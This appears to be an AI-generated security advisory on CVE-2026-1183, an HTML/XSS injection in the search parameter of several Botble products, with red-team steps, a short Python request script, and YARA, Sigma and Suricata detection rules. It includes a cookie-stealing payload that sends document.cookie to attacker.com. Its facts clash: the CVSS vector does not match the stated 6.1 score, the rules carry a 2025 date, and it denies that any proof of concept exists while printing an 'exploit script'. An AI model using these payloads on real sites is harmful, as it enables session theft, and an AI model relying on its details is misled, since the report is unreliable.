CVE-2026-1183

POC_DETAILS: None

Executive Summary

CVE-2026-1183 is an HTML injection vulnerability affecting multiple Botble products, including TransP, Athena, Martfury, and Homzen. The flaw resides in the /search endpoint, where the q parameter is not properly validated or sanitized. An attacker can inject arbitrary HTML into the application’s response, leading to potential phishing, defacement, or session theft when a victim interacts with the crafted content. The vulnerability is classified as a stored/reflected HTML injection (CWE-79) with a CVSS v3.1 base score of 6.1 (Medium). No public exploit code or proof-of-concept has been released, and no patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a web application issue within proprietary Botble products.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows HTML injection but not direct code execution. However, combined with social engineering, it can lead to credential theft or malware distribution.

Deep Dive & Mechanics

The vulnerability exists in the search functionality of Botble products. When a user submits a search query via the q parameter in the /search endpoint, the application reflects the input without proper encoding or validation. An attacker can craft a URL such as:

https://target.com/search?q=<script>alert('XSS')</script>

If the application does not sanitize the input, the injected HTML/JavaScript will be rendered in the victim’s browser. This can be used to:

• Steal session cookies
• Redirect users to malicious sites
• Deface the page
• Perform phishing attacks

The root cause is the lack of output encoding or input validation on the q parameter. The vulnerability is likely reflected (non-persistent) but could be stored if the search term is saved in logs or displayed elsewhere.

Vulnerable vs. Patched Code

Vulnerable Code (PHP example):

<?php
$query = $_GET['q'];
echo "<p>Search results for: " . $query . "</p>";
?>

Patched Code (using htmlspecialchars):

<?php
$query = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
echo "<p>Search results for: " . $query . "</p>";
?>

The patched version encodes special HTML characters (<, >, ", ', &) into their HTML entities, preventing injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy a vulnerable Botble instance (e.g., TransP) in a lab environment.
2. Craft Payload: Use a simple HTML injection payload:

   https://target.com/search?q=<h1>Injected</h1>
   

3. Advanced Payload: For session theft, use:

   https://target.com/search?q=<img src=x onerror=document.location='https://attacker.com/steal?cookie='+document.cookie>
   

4. Automation: Use Burp Suite or a Python script to fuzz the q parameter with various HTML/JS payloads.

Python Exploit Script:

import requests

target = "http://target.com/search"
payload = "<script>alert('XSS')</script>"
params = {'q': payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defense & Detection)

1. Input Validation: Implement strict validation on the q parameter (allow only alphanumeric and spaces).
2. Output Encoding: Use context-aware encoding (e.g., htmlspecialchars in PHP, escape in JavaScript).
3. WAF Rules: Deploy Web Application Firewall rules to block common XSS patterns.
4. Monitoring: Monitor logs for unusual search queries containing HTML tags or JavaScript.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /search with q parameter containing <script>, <img>, <iframe>, or other HTML tags.
  • Outbound connections to attacker-controlled domains from the application server.
• File IOCs:
  • Log entries showing unencoded HTML in search queries.
• Behavioral IOCs:
  • Unexpected redirects or pop-ups in the application.
  • Unauthorized cookie exfiltration attempts.

Detection Engineering

YARA Rule

rule CVE_2026_1183_HTML_Injection {
    meta:
        description = "Detects HTML injection attempts in Botble products"
        author = "Valters IT"
        date = "2025-04-14"
        reference = "CVE-2026-1183"
    strings:
        $html_inject = /<[^>]*script[^>]*>|onerror=|onload=|onclick=/
    condition:
        $html_inject
}

Sigma Rule

title: CVE-2026-1183 HTML Injection in Botble Search
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTML injection attempts via the 'q' parameter in Botble products
author: Valters IT
date: 2025-04-14
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - "<script"
            - "onerror="
            - "onload="
            - "<img"
            - "<iframe"
    condition: selection
falsepositives:
    - Legitimate use of HTML in search (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-1183 HTML Injection Attempt"; flow:to_server; content:"/search"; http_uri; content:"q="; http_uri; pcre:"/(<script|onerror=|onload=|<img|<iframe)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Apply input validation on the q parameter (allow only alphanumeric characters and spaces).
   • Use output encoding (e.g., htmlspecialchars in PHP, escape in JavaScript).
   • Deploy a WAF with rules to block HTML injection patterns.

2. Long-term Fixes:

   • Update to the latest patched version of Botble products once available.
   • Conduct a security audit of all user input handling.
   • Implement Content Security Policy (CSP) headers to mitigate XSS.

3. Workarounds:

   • Disable the search functionality if not critical.
   • Use a reverse proxy to sanitize input before it reaches the application.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.